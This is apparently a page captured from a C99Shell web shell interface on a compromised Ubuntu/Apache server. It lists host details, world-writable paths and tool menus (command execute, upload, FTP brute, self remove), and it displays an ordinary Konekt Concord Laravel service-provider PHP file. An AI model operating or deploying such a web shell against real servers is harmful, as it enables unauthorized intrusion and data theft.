!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/konekt/concord/src/   drwxrwxrwx
Free 13.16 GB of 57.97 GB (22.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BaseBoxServiceProvider.php (2.92 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Contains the BaseBoxServiceProvider class.
 *
 * @copyright   Copyright (c) 2016 Attila Fulop
 * @author      Attila Fulop
 * @license     MIT
 * @since       2016-12-29
 *
 */

namespace Konekt\Concord;

abstract class 
BaseBoxServiceProvider extends BaseServiceProvider
{
    protected 
$configFileName 'box.php';

    protected static 
$_kind 'box';

    public function 
register()
    {
        
parent::register();

        
$modules $this->config("modules");
        
$modules $modules ?: [];

        foreach (
$modules as $module => $configuration) {
            if (
is_int($module) && is_string($configuration)) { // means no configuration was set for module
                
$module        $configuration;
                
$configuration $this->getDefaultModuleConfiguration();
            } else {
                
$configuration array_merge(
                    
$this->getDefaultModuleConfiguration(),
                    
is_array($configuration) ? $configuration : []
                );
                
$configuration array_replace_recursive($configuration$this->getCascadeModuleConfiguration());
            }

            
$this->concord->registerModule($module$configuration);
        }
    }

    public function 
boot()
    {
        
parent::boot();

        
$this->publishOwnMigrationsInASeparateGroup();
        
$this->publishAllSubModuleMigrations();
    }

    
/**
     * Returns the "cascade" configuration: the "apply to all submodules" config override array
     *
     * @return array
     */
    
protected function getCascadeModuleConfiguration(): array
    {
        
$result $this->config('cascade_config', []);

        return 
is_array($result) ? $result : [];
    }

    
/**
     * Returns the default configuration settings for modules loaded within boxes
     *
     * @return array
     */
    
protected function getDefaultModuleConfiguration()
    {
        return [
            
'implicit'   => true,
            
'migrations' => $this->areMigrationsEnabled(),
            
'views'      => $this->areViewsEnabled(),
            
'routes'     => $this->areRoutesEnabled()
        ];
    }

    private function 
publishAllSubModuleMigrations(): void
    
{
        
$folder '/' $this->convention->migrationsFolder();
        
$moduleMigrationPaths = [
            
$this->getBasePath() . $folder => database_path('migrations')
        ];
        foreach (
$this->config("modules", []) as $moduleClass => $config) {
            
$module $this->concord->module($this->getModuleId($moduleClass));
            
$moduleMigrationPaths[$module->getBasePath() . $folder] = database_path('migrations');
        }

        
$this->publishes($moduleMigrationPaths'migrations');
    }

    private function 
publishOwnMigrationsInASeparateGroup()
    {
        
$this->publishes([
            
$this->getBasePath() . '/' $this->convention->migrationsFolder() =>
                
database_path('migrations')
        ], 
'own-migrations-only');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--